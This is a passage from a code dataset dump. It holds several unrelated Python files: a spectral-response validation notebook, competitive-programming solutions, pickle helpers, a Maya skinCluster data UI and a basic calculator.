shrink=0.05),fontsize=18)\n# plt.annotate(' ', xy=(IB_wavelengths[4]-WIDTH/2 -3, 407), xytext=(IB_wavelengths[4]+WIDTH/2 +5, 400),\n# arrowprops=dict(arrowstyle=\"<->\",facecolor='black'),)\n# plt.text(IB_wavelengths[4]-15,420,\"$\\Delta \\lambda_5$\",fontsize=18)\n# plt.legend()\n# plt.xlabel(\"Wavelength ($\\lambda$)\")\n# plt.ylabel(\"Radiance ($W Sr^{-1} \\mu m^{-1} m^{-2})$\")\n# plt.title(\"Spectral Response Functions and Wavebands\")\n# #plt.savefig(\"AnnotatedSRFsWB\")\n# plt.show()\n\n\n# In[7]:\n\n\nplt.figure(figsize=(10,8))\nplt.plot(D[10],'b--.')\nplt.xlabel(\"j value\")\nplt.ylabel(\"dij\")\nplt.title(\"D row (Generated)\")\nplt.show()\n\n\n# In[8]:\n\n\nplt.figure(figsize=(10,8))\n\nfor i in range(N):\n plt.plot(X,ti_arr[i])\n \nplt.plot(X,SRF_arr[10],'k--')\nplt.show()\n\n\n# In[9]:\n\n\n# A = D + np.identity(N)\n\n# plt.figure(figsize = (10,8))\n# plt.imshow(A)\n# plt.colorbar()\n# plt.title(\"A\")\n# plt.xlabel(\"j\")\n# plt.ylabel(\"i\")\n# plt.show()\n\n# plt.figure(figsize = (10,8))\n# plt.imshow(A,cmap=\"hot\",norm=LogNorm())\n# plt.colorbar()\n# plt.show()\n\n# print(\"Condition number k(A) =\",np.linalg.cond(A))\n\nprint(WIDTH)\n\n\n# In[10]:\n\n\nC = np.linalg.inv(D)\n\nplt.figure(figsize = (10,8))\nplt.imshow(C)\nplt.colorbar()\nplt.title(\"C\")\nplt.xlabel(\"j\")\nplt.ylabel(\"i\")\nplt.show()\n\nplt.figure(figsize = (10,8))\nplt.imshow(C,cmap=\"hot\",norm=LogNorm())\nplt.colorbar()\nplt.show()\n\nprint(\"Condition number k(C) =\",np.linalg.cond(C))\n\n\n# In[22]:\n\n\nY_meas = []\nY_I = []\n\nfor i in range(N):\n y_meas = gen_meas(L,SRF_arr[i])\n Y_meas.append(y_meas)\n \n y_i = gen_meas(L,ti_arr[i])\n Y_I.append(y_i)\n \nplt.figure(figsize=(10,8))\n# plt.annotate('1', xy=(13, 435000), xytext=(5, 350000),\n# arrowprops=dict(facecolor='black', shrink=0.05),)\n# plt.annotate('2', xy=(14, 405000), xytext=(10, 300000),\n# arrowprops=dict(facecolor='black', shrink=0.05),)\n# plt.annotate('3', xy=(11, 2.2), xytext=(20, 1.8),\n# arrowprops=dict(facecolor='black', shrink=0.05),)\nplt.plot(DN_range,Y_meas)\nplt.grid(True)\nplt.title(\"Measurement (Generated)\")\nplt.xlabel(\"Waveband\")\nplt.ylabel(\"DN\")\nplt.show()\n\nplt.figure(figsize=(10,8))\nplt.plot(X,L,'g',label=\"L\")\nplt.plot(X,SRF_arr[13],'b--',label=\"SRF\")\nplt.title(\"SRF[13] and L\")\nplt.xlabel(\"Wavelength (nm)\")\nplt.ylabel(\"Intensity (arb)\")\nplt.legend()\nplt.show()\n\n\n# In[12]:\n\n\n# #plt.plot(np.linspace(0,N,len(X)),L,label=\"L\")\n# plt.plot(DN_range,Y_meas,label=\"Measured\")\n# plt.plot(DN_range,Y_I,label=\"Ideal in-band\")\n# plt.legend()\n# plt.show()\n\n# diff = 1 - Y_I/Y_meas\n\n# print(diff)\n\n\n# In[13]:\n\n\n# noise_scale = np.sqrt(np.mean(Y_meas))*100\n# print(noise_scale)\n\n# noise = np.random.randn(N)*noise_scale\n# np.save(\"noise\",noise)\nnoise = np.load(\"noise.npy\")\nY_meas_noise = Y_meas + noise\n\n#Y_meas = Y_meas_noise\n\nY_clean = np.matmul(C,Y_meas)\n\nplt.plot(DN_range,Y_clean,label=\"Clean\")\nplt.plot(DN_range,Y_I,label=\"Ideal in-band\")\nplt.legend()\nplt.show()\n\n\n# In[14]:\n\n\nregen = np.matmul(D,Y_I)\n\nplt.figure(figsize=(10,8))\nplt.plot(DN_range,Y_meas,label=\"Measured\")\nplt.plot(DN_range,Y_meas_noise,label=\"Measured with noise\")\nplt.legend()\nplt.title(\"Measurement with Added Noise\")\nplt.xlabel(\"Waveband\")\nplt.ylabel(\"DNs\")\nplt.show()\n\n\n# In[15]:\n\n\nY_meas = np.array(Y_meas)\n\nY_clean = np.array(Y_clean)\n\nplt.figure(figsize=(10,8))\nplt.plot(DN_range,Y_meas,'s-',label=\"Measured\")\nplt.plot(DN_range,Y_meas_noise,'rs-',label=\"Noise\")\nplt.plot(np.linspace(0,N,len(X)),L,'gs-',label=\"L\")\nplt.plot(DN_range,Y_clean,'s-',label=\"Clean\")\n\nplt.legend()\nplt.title(\"Clean comparision with Radiance\")\nplt.ylabel(\"Radiance (arb)\")\nplt.xlabel(\"Wavelength (arb)\")\nplt.show()\n\n\n# In[16]:\n\n\n# Y_meas_scale = Y_meas/((WIDTH*(dx_scale*100))/(2))\n# Y_clean_scale = Y_clean/((WIDTH*(dx_scale*100))/(2))\n\nY_clean[Y_clean<0] = abs(Y_clean[Y_clean<0])\n\nY_meas_scale = Y_meas_noise/((IB_val_arr)*(WIDTH))\nY_clean_scale = Y_clean/((IB_val_arr)*(WIDTH))\n\nL_short = shorten_set(L,step)\n\nplt.figure(figsize=(10,8))\nplt.plot(DN_range,Y_meas_scale,'s-',label=\"Measured\")\nplt.plot(np.linspace(0,N-1,N),L_short,'g-',label=\"L\")\nplt.plot(DN_range,Y_clean_scale,'s',label=\"Clean\")\nplt.legend()\nplt.title(\"Clean comparision with Radiance\")\nplt.ylabel(\"$Radiance (W Sr^{-1} \\mu m^{-1} m^{-2})$\")\nplt.xlabel(\"Wavelength (arb)\")\nplt.ylim(0,)\nplt.show()\n\n\n# In[17]:\n\n\nprint(Y_clean[0]/L[0])\nprint(Y_clean_scale[0]/L[0])\nprint(WIDTH)\n\n\n# In[18]:\n\n\nfrom scipy.stats import chisquare\nfrom scipy.stats import chi2\n\n\nplt.figure(figsize=(10,8))\nplt.plot(DN_range,L_short,'gs-')\nplt.plot(DN_range,Y_clean_scale,'orange')\nplt.show()\n\nstat,p = chisquare(Y_clean_scale,L_short)\nprint(\"Chistat =\",stat)\nprint(\"p-value =\",p)\n\nanother = chi2.cdf(stat,N-1)\nanother\n\n\n# In[19]:\n\n\nmychi = sum((Y_clean_scale - L_short)**2 /L_short)\n\nprint(mychi)\n\n","repo_name":"DiarmuiF/MScProject","sub_path":"Method Validation V0.65.py","file_name":"Method Validation V0.65.py","file_ext":"py","file_size_in_byte":11920,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"34436870811","text":"# uninhm\n# https://atcoder.jp/contests/abc180/tasks/abc180_d\n# greedy\n\nx, y, a, b = map(int, input().split())\n\nEXP = 0\n\nwhile x*a < y and x*a < x+b:\n x *= a\n EXP -=- 1\n\nprint(EXP + (y-x-1)//b)\n","repo_name":"Vicfred/kyopro","sub_path":"atcoder/abc180D.py","file_name":"abc180D.py","file_ext":"py","file_size_in_byte":199,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"72"} +{"seq_id":"71162164392","text":"import pickle\nimport os\n\ndef write_pickle(path, obj):\n os.makedirs(os.path.dirname(path), exist_ok=True)\n with open(path, \"wb\") as f:\n pickle.dump(obj, f)\n \ndef read_pickle(path):\n if not os.path.isfile(path):\n print(f\"path did not exist: {path}\")\n return None\n with open(path, \"rb\") as f:\n obj = pickle.load(f)\n return obj","repo_name":"ElIsMaIl/PDAC","sub_path":"pickle_utils.py","file_name":"pickle_utils.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15246717379","text":"\r\nimport sys\r\nsys.stdin=open(\"data.txt\")\r\nsys.stdout=open(\"out.txt\",\"w\")\r\ninput=sys.stdin.readline\r\n\r\ntop=2505\r\n\r\nfor c in range(int(input())):\r\n # find all numbers that appear an odd number of times\r\n n=int(input())\r\n count=[0]*top\r\n for _ in range(2*n-1):\r\n for i in map(int,input().split()):\r\n count[i]+=1\r\n ans=[]\r\n for i in range(top):\r\n if count[i]%2: ans.append(i)\r\n print(\"Case #%s: %s\"%(c+1,\" \".join(map(str,ans))))\r\n","repo_name":"Kawser-nerd/CLCDSA","sub_path":"Source Codes/CodeJamData/16/12/18.py","file_name":"18.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"} +{"seq_id":"41026359371","text":"'''\nCreated on 28 Sep 2018\n\n@author: lasse-r\n'''\nimport maya.cmds as cmds\n\nfrom ooutdmaya.rigging.core.util.IO import skinClusterData, data, meshData\nfrom ooutdmaya.rigging.core.util import IO\nfrom ooutdmaya.rigging.core.util import easy\n\ndef skinClusterDataUI():\n ''' Creates a UI for handling skinClusters\n Example:\n from ooutdmaya.rigging.core.util.IO import skinClusterUI\n skinClusterUI.skinClusterDataUI()\n '''\n # Window\n win = 'skinClusterDataUI'\n if cmds.window(win,q=True,ex=True): cmds.deleteUI(win)\n win = cmds.window(win,t='SkinClusterData')\n \n # ===============\n # - UI Elements -\n # ===============\n \n cw1=(1,120)\n \n # Form Layout\n mainFL = cmds.formLayout(numberOfDivisions=100)\n \n # Load/Buld Buttons\n loadB = cmds.button(label='Load Data...', c='skinClusterUI.loadData()')\n buildB = cmds.button(label='Build Data (from selected)', c='skinClusterUI.buildData()')\n rebuildB = cmds.button(label='Rebuild SkinCluster', c='skinClusterUI.rebuildSkinCluster()')\n saveB = cmds.button(label='Save Data', c='skinClusterUI.saveData()')\n closeB = cmds.button(label='Close', c='cmds.deleteUI(\"'+win+'\")')\n \n # Scroll Layout\n scrollLayout = cmds.scrollLayout(horizontalScrollBarThickness=16,verticalScrollBarThickness=16,cr=1)\n \n # SkinCluster Name\n skinClusterNameTFG = cmds.textFieldGrp('skinCluster_nameTFG',label='SkinCluster',text='',cw=cw1)\n \n # Scroll FL\n scrollFL = cmds.formLayout(numberOfDivisions=100)\n \n # ==============\n # - Basic Data -\n # ==============\n \n basicDataFRL = cmds.frameLayout(label='SkinCluster Data',collapsable=True,p=scrollFL)\n basicDataFL = cmds.formLayout(numberOfDivisions=100)\n \n # Affected Geometry\n skinClusterGeoTFB = cmds.textFieldButtonGrp('skinCluster_geoTFB',label='Geometry',text='',editable=False,buttonLabel='Remap',cw=cw1)\n skinClusterMethodOMG = cmds.optionMenuGrp('skinCluster_methodOMG',label='Skinning Method',cw=cw1)\n cmds.menuItem('Classic Linear')\n cmds.menuItem('Dual Quaternion')\n cmds.menuItem('Weight Blended')\n skinClusterComponentCBG = cmds.checkBoxGrp('skinCluster_componentCBG',label='Use Components',cw=cw1)\n skinClusterNormalizeOMG = cmds.optionMenuGrp('skinCluster_normalizeOMG',label='Normalize Weights',cw=cw1)\n cmds.menuItem('None')\n cmds.menuItem('Interactive')\n cmds.menuItem('Post')\n skinClusterDeformNormCBG = cmds.checkBoxGrp('skinCluster_deformNormCBG',label='Deform User Normals',cw=cw1)\n \n cmds.formLayout(basicDataFL,e=True,af=[(skinClusterGeoTFB,'top',5),(skinClusterGeoTFB,'left',5),(skinClusterGeoTFB,'right',5)])\n cmds.formLayout(basicDataFL,e=True,ac=[(skinClusterMethodOMG,'top',5,skinClusterGeoTFB)],af=[(skinClusterMethodOMG,'left',5),(skinClusterMethodOMG,'right',5)])\n cmds.formLayout(basicDataFL,e=True,ac=[(skinClusterComponentCBG,'top',5,skinClusterMethodOMG)],af=[(skinClusterComponentCBG,'left',5),(skinClusterComponentCBG,'right',5)])\n cmds.formLayout(basicDataFL,e=True,ac=[(skinClusterNormalizeOMG,'top',5,skinClusterComponentCBG)],af=[(skinClusterNormalizeOMG,'left',5),(skinClusterNormalizeOMG,'right',5)])\n cmds.formLayout(basicDataFL,e=True,ac=[(skinClusterDeformNormCBG,'top',5,skinClusterNormalizeOMG)],af=[(skinClusterDeformNormCBG,'left',5),(skinClusterDeformNormCBG,'right',5)])\n \n # ==================\n # - Influence Data -\n # ==================\n \n influenceDataFRL = cmds.frameLayout(label='Influence Data',collapsable=True,p=scrollFL)\n influenceDataFL = cmds.formLayout(numberOfDivisions=100)\n \n skinCluster_infTXT = cmds.text( label='Influence List' )\n skinCluster_infTSL = cmds.textScrollList('skinCluster_infTSL',numberOfRows=15,allowMultiSelection=True)\n skinCluster_wtTXT = cmds.text( label='Influence Weights' )\n skinCluster_wtTSL = cmds.textScrollList('skinCluster_wtTSL',numberOfRows=15,allowMultiSelection=True)\n \n cmds.formLayout(influenceDataFL,e=True,af=[(skinCluster_infTXT,'top',5),(skinCluster_infTXT,'left',5),(skinCluster_infTXT,'right',5)])\n cmds.formLayout(influenceDataFL,e=True,ac=[(skinCluster_infTSL,'top',5,skinCluster_infTXT)],af=[(skinCluster_infTSL,'left',5),(skinCluster_infTSL,'right',5)])\n cmds.formLayout(influenceDataFL,e=True,ac=[(skinCluster_wtTXT,'top',5,skinCluster_infTSL)],af=[(skinCluster_wtTXT,'left',5),(skinCluster_wtTXT,'right',5)])\n cmds.formLayout(influenceDataFL,e=True,ac=[(skinCluster_wtTSL,'top',5,skinCluster_wtTXT)],af=[(skinCluster_wtTSL,'left',5),(skinCluster_wtTSL,'right',5)])\n \n # ====================\n # - World Space Data -\n # ====================\n \n worldSpaceDataFRL = cmds.frameLayout(label='World Space Data',collapsable=True,p=scrollFL)\n worldSpaceDataFL = cmds.formLayout(numberOfDivisions=100)\n \n buildWorldSpaceMeshB = cmds.button(label='Build World Space Mesh',c='skinClusterUI.buildWorldSpaceMesh()')\n storeWorldSpaceMeshB = cmds.button(label='Store World Space Mesh',c='skinClusterUI.storeWorldSpaceMesh()')\n rebuildWorldSpaceDataB = cmds.button(label='Rebuild World Space Data',c='skinClusterUI.rebuildWorldSpaceData()')\n worldSpaceMeshTFG = cmds.textFieldGrp('skinCluster_wsMeshTFG',label='World Space Mesh',text='',editable=False,cw=cw1)\n \n cmds.formLayout(worldSpaceDataFL,e=True,af=[(buildWorldSpaceMeshB,'top',5),(buildWorldSpaceMeshB,'left',5),(buildWorldSpaceMeshB,'right',5)])\n cmds.formLayout(worldSpaceDataFL,e=True,ac=[(storeWorldSpaceMeshB,'top',5,buildWorldSpaceMeshB)],af=[(storeWorldSpaceMeshB,'left',5),(storeWorldSpaceMeshB,'right',5)])\n cmds.formLayout(worldSpaceDataFL,e=True,ac=[(rebuildWorldSpaceDataB,'top',5,storeWorldSpaceMeshB)],af=[(rebuildWorldSpaceDataB,'left',5),(rebuildWorldSpaceDataB,'right',5)])\n cmds.formLayout(worldSpaceDataFL,e=True,ac=[(worldSpaceMeshTFG,'top',5,rebuildWorldSpaceDataB)],af=[(worldSpaceMeshTFG,'left',5),(worldSpaceMeshTFG,'right',5)])\n \n # ====================\n # - PopUp Menu Items -\n # ====================\n \n # Influence Menu\n cmds.popupMenu(parent=skinCluster_infTSL)\n cmds.menuItem(label='Remap Influence',c='skinClusterUI.remapSelectedInfluence()')\n cmds.menuItem(label='Combine Influences',c='skinClusterUI.combineSelectedInfluences()')\n cmds.menuItem(label='Swap Weights',c='skinClusterUI.swapInfluenceWeights()')\n cmds.menuItem(label='Move Weights',c='skinClusterUI.moveInfluenceWeights()')\n \n cmds.popupMenu(parent=skinCluster_wtTSL)\n \n # ========================\n # - UI Callback Commands -\n # ========================\n \n cmds.textFieldGrp(skinClusterNameTFG,e=True,cc='skinClusterUI.renameSkinCluster()')\n cmds.textFieldButtonGrp(skinClusterGeoTFB,e=True,bc='skinClusterUI.remapGeometry()')\n cmds.optionMenuGrp(skinClusterMethodOMG,e=True,cc='skinClusterUI.updateBasicData()')\n cmds.checkBoxGrp(skinClusterComponentCBG,e=True,cc='skinClusterUI.updateBasicData()')\n cmds.optionMenuGrp(skinClusterNormalizeOMG,e=True,cc='skinClusterUI.updateBasicData()')\n cmds.checkBoxGrp(skinClusterDeformNormCBG,e=True,cc='skinClusterUI.updateBasicData()')\n cmds.textScrollList(skinCluster_infTSL,e=True,sc='skinClusterUI.selectInfluencesFromUI();skinClusterUI.displayWeightList()')\n \n # ================\n # - Form Layouts -\n # ================\n \n cmds.formLayout(mainFL,e=True,af=[(loadB,'top',5),(loadB,'left',5)],ap=[(loadB,'right',5,50)])\n cmds.formLayout(mainFL,e=True,af=[(buildB,'top',5),(buildB,'right',5)],ap=[(buildB,'left',5,50)])\n cmds.formLayout(mainFL,e=True,af=[(saveB,'bottom',5),(saveB,'left',5)],ap=[(saveB,'right',5,50)])\n cmds.formLayout(mainFL,e=True,af=[(closeB,'bottom',5),(closeB,'right',5)],ap=[(closeB,'left',5,50)])\n cmds.formLayout(mainFL,e=True,ac=[(rebuildB,'bottom',5,closeB)],af=[(rebuildB,'right',5),(rebuildB,'left',5)])\n cmds.formLayout(mainFL,e=True,ac=[(scrollLayout,'top',5,loadB),(scrollLayout,'bottom',5,rebuildB)],af=[(scrollLayout,'left',5),(scrollLayout,'right',5)])\n \n cmds.formLayout(scrollFL,e=True,af=[(basicDataFRL,'top',5),(basicDataFRL,'left',5),(basicDataFRL,'right',5)])\n cmds.formLayout(scrollFL,e=True,ac=[(influenceDataFRL,'top',5,basicDataFRL)],af=[(influenceDataFRL,'left',5),(influenceDataFRL,'right',5)])\n cmds.formLayout(scrollFL,e=True,ac=[(worldSpaceDataFRL,'top',5,influenceDataFRL)],af=[(worldSpaceDataFRL,'left',5),(worldSpaceDataFRL,'right',5)])\n \n # ===============\n # - Show Window -\n # ===============\n \n reloadUI()\n cmds.showWindow(win)\n\ndef loadData():\n '''\n '''\n # Load SkinCluster Data\n skinData = data.Data().load()\n easy.GlobalSkinClusterData = skinData\n \n # Rebuild UI\n reloadUI()\n\ndef buildData():\n '''\n '''\n # Get Selected Objects\n sel = cmds.ls(sl=1)\n if not sel:\n print('Nothing selected! Unable to load skinCluster data...')\n return\n \n # Get SkinCluster of First Selected Geometry\n geo = sel[0]\n # Check Geometry\n shapes = cmds.listRelatives(geo,s=True)\n if not shapes:\n print('Selected object \"'+geo+'\" has no shape children! Unable to load skinCluster data...')\n return\n \n # Get SkinCluster\n skc = IO.skinCluster.findRelatedSkinCluster(geo)\n if not skc:\n print('Selected geometry \"'+geo+'\" has no skinCluster! Unable to load skinCluster data...')\n return\n \n # Build Data\n skinData = skinClusterData.SkinClusterData(skc)\n easy.GlobalSkinClusterData = skinData\n \n # Rebuild UI\n reloadUI()\n\ndef saveData():\n '''\n '''\n # Check SkinClusterData\n skinData = easy.GlobalSkinClusterData\n if not skinData: return\n \n # Save GlobalSkinClusterData to File\n skinData.saveAs()\n\ndef rebuildSkinCluster():\n '''\n '''\n # Check SkinClusterData\n skinData = easy.GlobalSkinClusterData\n if not skinData: return\n \n # Rebuild SkinCluster\n skinData.rebuild()\n\ndef renameSkinCluster():\n '''\n '''\n # Check SkinClusterData\n skinData = easy.GlobalSkinClusterData\n if not skinData: return\n \n # Check Window\n win = 'skinClusterDataUI'\n if not cmds.window(win,q=True,ex=True): return\n \n # Get New SkinCluster Name\n skinName = cmds.textFieldGrp('skinCluster_nameTFG',q=True,text=True)\n if not skinName:\n skinName = easy.GlobalSkinClusterData._data['name']\n cmds.textFieldGrp('skinCluster_nameTFG',e=True,text=skinName)\n \n # Update skinClusterData\n easy.GlobalSkinClusterData._data['name'] = skinName\n \n # Refresh UI\n reloadUI()\n \n # Return Result\n return skinName\n\ndef remapGeometry():\n '''\n '''\n # Check Window\n win = 'skinClusterDataUI'\n if not cmds.window(win,q=True,ex=True): return\n \n # Check SkinClusterData\n skinData = easy.GlobalSkinClusterData\n if not skinData: return\n \n # Get User Selections\n geo = ''\n sel = cmds.ls(sl=1,dag=True)\n if not sel:\n result = cmds.promptDialog(title='Remap Geometry',message='Enter Name:',button=['Remap', 'Cancel'],defaultButton='Remap',cancelButton='Cancel',dismissString='Cancel')\n if result == 'Remap':\n geo = cmds.promptDialog(q=True,text=True)\n else:\n print('User cancelled!')\n return\n else:\n geo = sel[0]\n \n # Remap Geometry\n skinData.remapGeometry(geometry=geo)\n \n # Refresh UI\n reloadUI()\n \n # Return Result\n return geo\n\ndef updateBasicData():\n '''\n '''\n # Check SkinClusterData\n skinData = easy.GlobalSkinClusterData\n if not skinData:\n print('No SkinClusterData to load...')\n return\n \n # Get Basic Data from UI\n skinMethod = cmds.optionMenuGrp('skinCluster_methodOMG',q=True,sl=True)\n useComponents = cmds.checkBoxGrp('skinCluster_componentCBG',q=True,v1=True)\n normalizeWt = cmds.optionMenuGrp('skinCluster_normalizeOMG',q=True,sl=True)\n deformNormal = cmds.checkBoxGrp('skinCluster_deformNormCBG',q=True,v1=True)\n \n # Update Basic SkinCluster Data\n skinData._data['attrValueDict']['skinningMethod'] = skinMethod-1\n skinData._data['attrValueDict']['useComponents'] = useComponents\n skinData._data['attrValueDict']['normalizeWeights'] = normalizeWt-1\n skinData._data['attrValueDict']['deformUserNormals'] = deformNormal\n\ndef remapSelectedInfluence():\n '''\n '''\n # Check SkinClusterData\n skinData = easy.GlobalSkinClusterData\n if not skinData: return\n\ndef swapInfluenceWeights():\n '''\n '''\n # Check Window\n win = 'skinClusterDataUI'\n if not cmds.window(win,q=True,ex=True): return\n \n # Check SkinClusterData\n skinData = easy.GlobalSkinClusterData\n if not skinData: return\n \n # Get Influence Selection\n influenceSel = cmds.textScrollList('skinCluster_infTSL',q=True,si=True)\n if len(influenceSel) < 2:\n print('Select 2 influences to swap weights between!')\n return\n \n # Swap Influence Weights\n skinData.swapWeights(influenceSel[0],influenceSel[1])\n\ndef moveInfluenceWeights():\n '''\n '''\n # Check SkinClusterData\n skinData = easy.GlobalSkinClusterData\n if not skinData: return\n\ndef combineSelectedInfluences():\n '''\n '''\n # Check SkinClusterData\n skinData = easy.GlobalSkinClusterData\n if not skinData: return\n\ndef displayWeightList():\n '''\n '''\n # Check SkinClusterData\n skinData = easy.GlobalSkinClusterData\n if not skinData: return\n \n # Check Window\n win = 'skinClusterDataUI'\n if not cmds.window(win,q=True,ex=True): return\n \n # Clear Weight List\n cmds.textScrollList('skinCluster_wtTSL',e=True,ra=True)\n \n # Get Influence Selection\n influenceSel = cmds.textScrollList('skinCluster_infTSL',q=True,si=True)\n if not influenceSel: return\n inf = influenceSel[0]\n \n # Check Weights\n if not skinData._influenceData.has_key(inf): return\n wt = skinData._influenceData[inf]['wt']\n \n # Display Weights\n for i in range(len(wt)): cmds.textScrollList('skinCluster_wtTSL',e=True,a='['+str(i)+']: '+str(wt[i]))\n\ndef selectInfluencesFromUI():\n '''\n '''\n # Check SkinClusterData\n skinData = easy.GlobalSkinClusterData\n if not skinData: return\n \n # Check Window\n win = 'skinClusterDataUI'\n if not cmds.window(win,q=True,ex=True): return\n \n # Clear Weight List\n cmds.textScrollList('skinCluster_wtTSL',e=True,ra=True)\n \n # Get Influence Selection\n influenceSel = cmds.textScrollList('skinCluster_infTSL',q=True,si=True)\n if not influenceSel: return\n \n # Select Influences\n cmds.select(cl=True)\n for inf in influenceSel:\n try: cmds.select(inf,add=True)\n except: print('Unable to select influence \"\"! Object does not exist...')\n\ndef buildWorldSpaceMesh():\n '''\n '''\n # Check SkinClusterData\n skinData = easy.GlobalSkinClusterData\n if not skinData: return\n \n # Get Affected Geometry\n if not skinData._data.has_key('affectedGeometry'):\n raise Exception('No skin geometry data! Unable to rebuild worldSpace mesh...')\n skinGeo = skinData._data['affectedGeometry'][0]\n if not skinData._data.has_key(skinGeo):\n raise Exception('No skin geometry data for \"'+skinGeo+'\"! Unable to rebuild worldSpace mesh...')\n if skinData._data[skinGeo]['geometryType'] != 'mesh':\n raise Exception('Skin geometry \"'+skinGeo+'\" is not a mesh! Unable to rebuild worldSpace mesh...')\n if not skinData._data[skinGeo].has_key('mesh'):\n raise Exception('No world space data for \"'+skinGeo+'\"! Unable to rebuild worldSpace mesh...')\n \n # Rebuild Mesh\n mesh = skinData._data[skinGeo]['mesh'].rebuildMesh()\n if not mesh.endswith('_worldSpaceMesh'): mesh = cmds.rename(mesh,skinGeo+'_worldSpaceMesh')\n \n # Update TextFieldGrp\n cmds.textFieldGrp('skinCluster_wsMeshTFG',e=True,text=mesh)\n \n # Return Result\n return mesh\n\ndef storeWorldSpaceMesh():\n '''\n '''\n # Check SkinClusterData\n skinData = easy.GlobalSkinClusterData\n if not skinData: return\n \n # Get Affected Geometry\n if not skinData._data.has_key('affectedGeometry'):\n raise Exception('No skin geometry data! Unable to rebuild worldSpace mesh...')\n skinGeo = skinData._data['affectedGeometry'][0]\n if not skinData._data.has_key(skinGeo):\n raise Exception('No skin geometry data for \"'+skinGeo+'\"! Unable to rebuild worldSpace mesh...')\n if skinData._data[skinGeo]['geometryType'] != 'mesh':\n raise Exception('Skin geometry \"'+skinGeo+'\" is not a mesh! Unable to rebuild worldSpace mesh...')\n \n # Initialize MeshData\n if not skinData._data[skinGeo].has_key('mesh'):\n skinData._data[skinGeo]['mesh'] = meshData.MeshData()\n \n # Store MeshData\n worldSpaceMesh = cmds.textFieldGrp('skinCluster_wsMeshTFG',q=True,text=True)\n if not cmds.objExists(worldSpaceMesh): raise Exception('World space mesh \"'+worldSpaceMesh+'\" doesn`t exist!')\n skinData._data[skinGeo]['mesh'].buildData(worldSpaceMesh)\n \n # Delete World Space Mesh\n cmds.delete(worldSpaceMesh)\n \n # Update TextFieldGrp\n cmds.textFieldGrp('skinCluster_wsMeshTFG',e=True,text='')\n\ndef rebuildWorldSpaceData():\n '''\n '''\n # Check SkinClusterData\n skinData = easy.GlobalSkinClusterData\n if not skinData: return\n \n # Rebuild World Space Data\n skinData.rebuildWorldSpaceData()\n\ndef reloadUI():\n '''\n '''\n # ============\n # - Reset UI -\n # ============\n cmds.textFieldGrp('skinCluster_nameTFG',e=True,text='')\n cmds.textFieldButtonGrp('skinCluster_geoTFB',e=True,text='')\n cmds.textScrollList('skinCluster_infTSL',e=True,ra=True)\n cmds.textScrollList('skinCluster_wtTSL',e=True,ra=True)\n \n cmds.optionMenuGrp('skinCluster_methodOMG',e=True,sl=1)\n cmds.checkBoxGrp('skinCluster_componentCBG',e=True,v1=0)\n cmds.optionMenuGrp('skinCluster_normalizeOMG',e=True,sl=1)\n cmds.checkBoxGrp('skinCluster_deformNormCBG',e=True,v1=0)\n \n cmds.textFieldGrp('skinCluster_wsMeshTFG',e=True,text='')\n \n # =====================================\n # - Get Global SkinClusterData Object -\n # =====================================\n \n skinData = easy.GlobalSkinClusterData\n # Check SkinClusterData\n if not skinData:\n print('No SkinClusterData to load...')\n return\n \n # =================\n # - Repopulate UI -\n # =================\n \n skinName = skinData._data['name']\n cmds.textFieldGrp('skinCluster_nameTFG',e=True,text=skinName)\n skinGeo = skinData._data['affectedGeometry'][0]\n cmds.textFieldGrp('skinCluster_geoTFB',e=True,text=skinGeo)\n influenceList = skinData._influenceData.keys()\n for inf in sorted(influenceList): cmds.textScrollList('skinCluster_infTSL',e=True,a=inf)\n \n attrValues = skinData._data['attrValueDict']\n if attrValues.has_key('skinningMethod'):\n cmds.optionMenuGrp('skinCluster_methodOMG',e=True,sl=(attrValues['skinningMethod']+1))\n if attrValues.has_key('useComponents'):\n cmds.checkBoxGrp('skinCluster_componentCBG',e=True,v1=attrValues['useComponents'])\n if attrValues.has_key('normalizeWeights'):\n cmds.optionMenuGrp('skinCluster_normalizeOMG',e=True,sl=(attrValues['normalizeWeights']+1))\n if attrValues.has_key('deformUserNormals'):\n cmds.checkBoxGrp('skinCluster_deformNormCBG',e=True,v1=attrValues['deformUserNormals'])\n \n","repo_name":"jimbo07/openBBlib","sub_path":"rigging_tools/core/skinclusterUI.py","file_name":"skinclusterUI.py","file_ext":"py","file_size_in_byte":19439,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"8695362441","text":"def main():\n sum = 0\n for x in range(10):\n sum = sum + int(input(\"Input \" + str((x + 1)) + \". number: \"))\n print(\"Sum is: \", sum, sep=\"\")\n print(\"Avg is: \", round(sum/10, 2), sep=\"\")\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"Simik31/KIP-7PYTH","sub_path":"Úkol 2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"6183833085","text":"# !/usr/bin/python3\n# -*- coding: utf-8 -*-\n# @Author: Wiley\n\"\"\"\nImplement a basic calculator to evaluate a simple expression string.\nThe expression string contains only non-negative integers,\n+, -, *,/ operators and empty spaces .\nThe integer division should truncate toward zero.\n\"\"\"\nfrom collections import deque\nimport math\n\ndef calculate(s):\n \"\"\"calculate\"\"\"\n def helper(s):\n \"\"\"helper calculate\"\"\"\n stack = []\n sign = '+'\n num = 0\n\n while len(s) > 0:\n char = s.popleft()\n\n if char == '(':\n num = helper(s)\n if char == ')':\n break\n\n if char.isdigit():\n num = int(char) + 10 * num\n\n if (not char.isdigit() and char != ' ') or len(s) == 0:\n if sign == '+':\n stack.append(num)\n elif sign == '-':\n stack.append(-num)\n elif sign == '*':\n temp = stack.pop()\n res = temp * num\n stack.append(res)\n elif sign == '/':\n temp = stack.pop()\n res = 0\n if temp > 0:\n res = temp // num\n else:\n res = math.ceil(temp / num)\n stack.append(res)\n num = 0\n sign = char\n\n return sum(stack)\n\n return helper(deque(list(s)))\n","repo_name":"skybrim/practice_leetcode_python","sub_path":"top_interview_questions_in_2018/stack_heap_queue/calculate.py","file_name":"calculate.py","file_ext":"py","file_size_in_byte":1507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"22662681539","text":"import numpy as np\nimport scipy as 